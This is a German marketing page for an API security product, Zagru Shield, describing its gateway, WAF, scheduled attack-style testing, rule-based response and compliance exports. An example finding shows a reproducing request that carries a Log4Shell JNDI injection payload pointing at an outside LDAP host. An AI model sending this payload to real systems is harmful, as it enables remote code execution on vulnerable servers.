Direkt zum Inhalt
Zagru

Zagru ShieldAPI-Sicherheit, Tests und Reaktion

Ihre APIs, geschützt durch Regeln Ihrer Wahl.

Shield stellt ein Gateway vor Ihre APIs, das nur gültige, erlaubte Anfragen durchlässt, testet sie kontinuierlich wie ein Angreifer und handelt bei einem schwerwiegenden Fund genau so, wie Sie es vorab festgelegt haben.

Demo anfragenSo reagiert Shield

Drei Aufgaben, ein Produkt

  1. 1GatewayNur gültige, erlaubte Anfragen erreichen Ihre APIs.
  2. 2Kontinuierliche TestsIhre APIs und Systeme, getestet wie von einem Angreifer — nach Zeitplan.
  3. 3Reaktion nach Ihren RegelnEine Route schließen, einen Administrator fragen oder nur benachrichtigen — vorab festgelegt.

Gateway

Nur gültige, erlaubte Anfragen kommen durch.

Shield Gateway läuft vor jeder API — betrieben von Zagru oder in Ihrem eigenen Netzwerk. Es basiert auf Envoy, derselben Technik und denselben signierten Richtlinienpaketen, die auch die eigenen Produkte von Zagru schützen, und arbeitet mit der zuletzt verifizierten Richtlinie weiter, wenn die Control Plane nicht erreichbar ist.

  • Ihre OpenAPI, durchgesetzt

    Anfragen, die nicht zum Schema der Route passen, erreichen Ihren Service nie.

  • Wer ruft auf

    JWT und OIDC, API-Schlüssel und mTLS werden am Rand geprüft.

  • Passende Limits

    Rate Limits pro Schlüssel, Adresse und Route; Limits für Anfragegröße und Methode.

  • WAF mit OWASP-Regeln

    Coraza mit dem OWASP Core Rule Set, mit einer Paranoia-Stufe pro API; Bot-Kontrolle sowie Erlaubnis- und Sperrlisten für IP-Adressen und Länder.

  • Erst beobachten, dann durchsetzen

    Jede Regel startet im Beobachtungsmodus, sodass Sie sehen, was sie blockieren würde, bevor sie etwas blockiert.

  • Nur Metadaten, nie Bodys

    Shield lernt aus den Metadaten der Anfragen; Request- und Response-Bodys werden nicht gespeichert.

Warum wurde das blockiert?

Zu jeder blockierten Anfrage gibt es einen Eintrag: die Regel, den zutreffenden Teil der Anfrage und die Anfrage-ID. Zagru Sense kann ihn in verständlichen Worten erklären.

Anfrage
POST /v2/orders · req 7f3c9a
Regel
OpenAPI-Schema · /v2/orders
Treffer
body.quantity: „-5“ ist keine ganze Zahl ≥ 1
Modus
Durchsetzung (7 Tage beobachtet, 0 Fehlalarme)

Inventar und Sicherheitslage

Jede API, die Sie haben — auch die, die niemand aufgelistet hat.

Shield erstellt Ihr API-Inventar aus OpenAPI-Importen, Gateway-Verkehr, dem Zagru Agent sowie DNS- und Zertifikatserkennung auf Ihren verifizierten Domains.

  • Schatten-APIs Im Verkehr gesehen, aber nirgends deklariert.
  • Zombie-APIs Auf dem Papier veraltet oder stillgelegt, antworten aber weiter.
  • Schema-Abweichung Was die API tatsächlich tut, im Vergleich zu dem, was ihre OpenAPI angibt.

Sicherheitswert

Pro API und für die gesamte Organisation: Authentifizierung, Schema-Abdeckung, offene Befunde, wie kürzlich getestet wurde, WAF-Modus — mit den Maßnahmen, die ihn verbessern.

  • Schema-Durchsetzung für /v2/orders aktivieren+6 Punkte
  • WAF auf carrier-api in den Durchsetzungsmodus versetzen+4 Punkte
  • partner-api erneut testen — letzter Test vor 19 Tagen+3 Punkte

Möchten Sie Shield vor einer Ihrer eigenen APIs sehen?

Demo anfragen

Kontinuierliche Tests

Getestet wie von einem Angreifer. Nur dort, wo Sie testen dürfen.

Shield testet die APIs, die es schützt, und jedes weitere Ziel, dessen Eigentümerschaft Sie nachweisen, nach dem von Ihnen festgelegten Zeitplan und macht aus jedem Ergebnis einen Befund.

Erst nachweisen, dass es Ihnen gehört

Öffentliche Namen: ein DNS-TXT-Eintrag oder eine Datei unter /.well-known.

_zagru-verify.api.example.com.  TXT
  "zagru-verification=8f2c1e9b"

Interne Netzwerke: der Zagru Agent und ein Geltungsbereich, der von einem Administrator Ihrer Organisation signiert wurde. Hosts außerhalb des Geltungsbereichs werden nie angetastet.

Was läuft

  • OWASP ZAPDynamische Tests, einschließlich Scans mit Anmeldung
  • SchemathesisEigenschaftsbasiertes Fuzzing aus Ihrer OpenAPI
  • NucleiBekannte CVEs und Fehlkonfigurationen
  • TLS-PrüfungenProtokolle, Cipher Suites und Zertifikate
  • DiscoveryNetzwerk- und Service-Erkennung, nur innerhalb des signierten Geltungsbereichs

  • Auch Ihre Lieferkette

    Ein CycloneDX-SBOM vom Agent oder von Ihnen hochgeladen, abgeglichen mit OSV, GitHub Advisory, NVD und dem CISA-KEV-Katalog, mit EPSS-Werten. Antworten und verbundene Repositories werden auf offengelegte Geheimnisse geprüft.

  • Nach Ihrem Zeitplan

    Täglich, wöchentlich oder bei jedem Deployment. Rate Limits und Zeitfenster stammen aus dem Geltungsbereich. Der abgesicherte Modus lässt zerstörerische Prüfungen aus, es sei denn, ein Administrator aktiviert sie für ein Staging-Ziel.

  • Nah am Ziel

    Öffentliche Ziele werden von Runnern getestet, die Zagru betreibt; interne vom Agent in Ihrem Netzwerk.

Befunde und Priorität

Jedes Ergebnis eingestuft, mit einer Frist.

Jeder Befund wird mit CVSS, EPSS, dem KEV-Katalog, der Exposition der API und ihrer Bedeutung für Ihr Geschäft bewertet und landet in einer von vier Prioritäten mit einer anpassbaren Behebungsfrist.

  • P124 Stunden
  • P27 Tage
  • P330 Tage
  • P490 Tage

Die Befundansicht gruppiert nach Priorität, API, Klasse und Alter, zeigt den Verlauf und was kurz vor seiner Frist steht.

Reproduzierende Anfrage

POST /v2/imports HTTP/1.1
Host: api.example.com
Authorization: Bearer ••••••••••••
Content-Type: application/json

{"template": "${jndi:ldap://203.0.113.9/a}"}

Zum Nachweis gehört die Anfrage, die das Problem reproduziert, mit maskierten Geheimnissen.

Reaktion nach Ihren Regeln

Sie entscheiden vorab. Shield tut genau das.

Wird etwas Schwerwiegendes gefunden, folgt Shield einer von Ihnen gewählten Entscheidungstabelle: Art des Problems, Schweregrad und Bedeutung der API bestimmen, ob Shield selbst handelt, einen Administrator fragt oder Sie nur informiert. Die Regeln sind deterministisch, versioniert und jedes Mal gleich; KI entscheidet nie über eine Blockierung.

Wählen Sie ein Profil — oder schreiben Sie Ihre eigene Tabelle

  • Strikt

    Standard

    Schließt sofort, was dringend und aus dem Internet erreichbar ist. Fragt Sie bei allem anderen.

    • AutomatischDringend und aus dem Internet erreichbar (zum Beispiel Remote-Code-Ausführung oder Datenpreisgabe): Die betroffene Route wird automatisch geschlossen, oder ein getesteter virtueller Patch wird angewendet.
    • AutomatischEin laufender Angriff: Die angreifenden Adressen werden blockiert und Limits verschärft, automatisch.
    • Fragt zuerstDringend an anderer Stelle oder kritisch: Shield schlägt die Maßnahme vor und wartet auf einen Administrator.
    • BenachrichtigtHoch und darunter: Sie werden benachrichtigt.

  • Flexibel

    Stärker automatisch

    Handelt ab hohem Schweregrad selbst, sodass weniger auf eine Person warten muss.

    • AutomatischDringend oder kritisch: Ein virtueller Patch wird automatisch angewendet, oder die Route wird geschlossen.
    • AutomatischHoch und aus dem Internet erreichbar: ein virtueller Patch oder ein engeres Rate Limit, automatisch.
    • AutomatischEin laufender Angriff: Die angreifenden Adressen werden automatisch blockiert.
    • Fragt zuerstHoch an anderer Stelle: Shield fragt einen Administrator. Alles andere: Sie werden benachrichtigt.

  • Nur benachrichtigen

    Ohne Eingriff

    Shield ändert den Verkehr nie von selbst. Jeder Befund wird zu einer Benachrichtigung und einem Vorschlag.

    • BenachrichtigtJede Regel benachrichtigt nur. Maßnahmen wenden Sie selbst an, mit einem Klick.

  • Entscheidungen pro API

    Geben Sie einer API ein anderes Profil oder eine eigene Tabelle mit denselben Spalten.

  • Schutz für geschäftskritische APIs

    Eine als geschäftskritisch markierte API wird nie automatisch als Ganzes geschlossen; Shield fragt stattdessen nach.

  • Routen, nicht ganze APIs

    Die integrierten Profile schließen die betroffene Route; eine ganze API zu schließen erfordert eine Regel, die dies ausdrücklich vorsieht.

  • Wartungsfenster

    Während eines Fensters werden automatische Maßnahmen zu Freigaben.

Wie es weitergeht

  1. 1Shield zeigt den PlanBevor etwas geschieht, zeigt jeder Befund, was Shield tun wird und welche Regel zugetroffen hat.
  2. 2Freigabe per E-Mail und in der AppAdministratoren und das Team der API erhalten eine E-Mail oder Push-Nachricht; der Link öffnet nach der Anmeldung die Freigabe.
  3. 3Veröffentlicht, mit AblaufdatumDie Maßnahme wird als signiertes Paket an das Gateway veröffentlicht und läuft nach 24 Stunden ab, sofern sie nicht verlängert wird.
  4. 4Rücknahme mit einem KlickJeder Berechtigte kann sie sofort aufheben; Shield hebt sie selbst auf, wenn ein erneuter Test die Behebung bestätigt.
  5. 5Alles protokolliertJeder Schritt steht im Audit-Protokoll: wer, welche Regel, welches Paket.

Möchten Sie Shield vor einer Ihrer eigenen APIs sehen?

Demo anfragen

Meldung von Schwachstellen

Meldet jemand ein Problem, legt Shield los.

Veröffentlichen Sie einen Sicherheitskontakt — Shield erzeugt Ihre /.well-known/security.txt — und ein Meldeformular. Eine Meldung oder ein neuer Hinweis, der zu Ihrem SBOM passt, startet denselben sorgfältigen Ablauf.

# https://example.com/.well-known/security.txt
Contact: https://example.com/security/report
Contact: mailto:security@example.com
Expires: 2027-11-01T00:00:00Z
Policy: https://example.com/security/policy
Preferred-Languages: tr, en
  1. 1SichtenDie Meldung wird zu einem Befund.
  2. 2EingrenzenWelche APIs und Versionen betroffen sind, anhand Ihres Inventars und SBOM.
  3. 3VerifizierenEin gezielter Test bestätigt es.
  4. 4PriorisierenDie Bewertung legt P1 bis P4 fest.
  5. 5ReagierenIhre Regeln greifen — zum Beispiel schließt unter Strikt eine dringende Remote-Code-Ausführung im Internet die Route automatisch.

Behoben, erneut getestet, aufgehoben.

  • Bei Zagru-Produkten

    Senden Sie den Befund an Zagru Platform. Sobald die Behebung ausgerollt ist, testet Shield erneut und hebt jede vorübergehende Maßnahme selbst auf.

  • Bei jeder anderen Software

    Ein klarer Bericht, ein Ticket in Jira, GitHub oder GitLab und ein erneuter Test, wann immer Sie ihn wünschen. Zagru ändert nie Code, den es nicht betreibt.

Compliance-Nachweise

Die Nachweise, die Ihre Prüfer verlangen, fertig zum Export.

Testpläne und Ergebnisse, WAF-Abdeckung, wie schnell Befunde bearbeitet wurden, und das vollständige Audit-Protokoll — zugeordnet zu den Rahmenwerken, über die Sie berichten, als PDF oder CSV. Die Bewertung selbst bleibt bei Ihren Prüfern.

  • ISO 27001 Anhang A
  • KVKK: technische Maßnahmen
  • PCI DSS 6.4 und 11.3
  • OWASP API Security Top 10
Nachweispaket · Q3
  • Testplan und Ergebnisse
  • WAF-Abdeckung pro API
  • Reaktionszeit, pro Priorität
  • Audit-Protokoll

Editionen

Betreiben Sie Shield so, wie es zu Ihnen passt.

  • Shield SaaS

    Zagru betreibt das Gateway; Sie richten Ihr DNS (CNAME) darauf aus.

    Preis nach API und Anfragevolumen

  • Shield Self-hosted

    Sie betreiben das Gateway mit Helm oder Docker, zusammen mit dem Zagru Agent; die Control Plane in der Cloud von Zagru oder in Ihrer eigenen.

    Preis nach Gateway-Knoten und API

  • Shield Scan

    Kein Gateway: nur kontinuierliche Tests, SBOM und Befunde.

    Preis nach verifiziertem Ziel

Module

  • Gateway
  • WAF
  • Tests
  • SBOM
  • Discovery
  • Reaktionsregeln
  • Compliance

Shield und Zagru Pulse nutzen denselben Zagru Agent. Sie kaufen nur das Produkt, das Sie brauchen, und ergänzen das andere später, ohne etwas Neues zu installieren.

Häufige Fragen

Was Kunden uns zuerst fragen.

Sitzt Shield im Anfragepfad?

Das Shield Gateway schon — so lässt es nur gültige, erlaubte Anfragen durch. Es läuft mit einer lokalen Kopie seiner zuletzt verifizierten Richtlinie und arbeitet daher auch weiter, wenn die Control Plane nicht erreichbar ist. Mit Shield Scan gibt es gar kein Gateway.

Kann Shield eine unserer APIs schließen, ohne zu fragen?

Nur wenn Ihre Regeln es vorsehen. Sie wählen ein Profil — Strikt, Flexibel oder Nur benachrichtigen — oder schreiben Ihre eigene Tabelle. Die integrierten Profile schließen die betroffene Route statt der ganzen API, schließen eine geschäftskritische API nie von selbst als Ganzes, und jede automatische Maßnahme läuft ab und lässt sich mit einem Klick zurücknehmen.

Entscheidet KI, was blockiert wird?

Nein. Jede Entscheidung folgt einer deterministischen, versionierten Tabelle und hält die zutreffende Regel fest. KI kann helfen, einen Befund oder eine blockierte Anfrage in verständlichen Worten zu erklären.

Was kann Shield testen?

Die APIs, die es schützt, und jedes weitere Ziel, dessen Eigentümerschaft Sie nachweisen: öffentliche Namen mit einem DNS-TXT-Eintrag oder einer Well-known-Datei, interne Netzwerke mit dem Zagru Agent und einem von Ihrem Administrator signierten Geltungsbereich. Nichts außerhalb des Geltungsbereichs wird angetastet.

Müssen wir im Blockiermodus starten?

Nein. Jede Regel startet im Beobachtungsmodus, sodass Sie sehen, was sie blockieren würde. Sie schalten sie in den Durchsetzungsmodus, wenn Sie sich sicher fühlen.

Macht Shield uns konform?

Shield sammelt die Nachweise, die Prüfer verlangen — Testergebnisse, WAF-Abdeckung, Reaktionszeiten und das Audit-Protokoll — zugeordnet zu ISO 27001 Anhang A, den technischen Maßnahmen der KVKK, PCI DSS 6.4 und 11.3 sowie der OWASP API Top 10. Die Bewertung selbst bleibt bei Ihren Prüfern.

Können wir es selbst betreiben?

Ja. Shield Self-hosted betreibt das Gateway in Ihrem Netzwerk mit Helm oder Docker, neben dem Zagru Agent; die Control Plane kann in der Cloud von Zagru oder in Ihrer eigenen laufen.

Stellen Sie Shield vor eine API und erleben Sie den Unterschied.

Erzählen Sie uns von Ihren APIs; wir starten im Beobachtungsmodus und zeigen Ihnen, was Shield findet und was es tun würde.

  • 30 Minuten Kennenlernen mit dem Produktteam
  • Demo mit Ihren Produkten und Abläufen
  • Unverbindlich und ohne Verkaufsdruck
hello@zagru.com

Demo mit Ihren eigenen Daten

Hinterlassen Sie Ihre Daten, wir melden uns in Kürze.

Möchten Sie mehr erzählen? Vollständiges Formular öffnen

Demo anfragen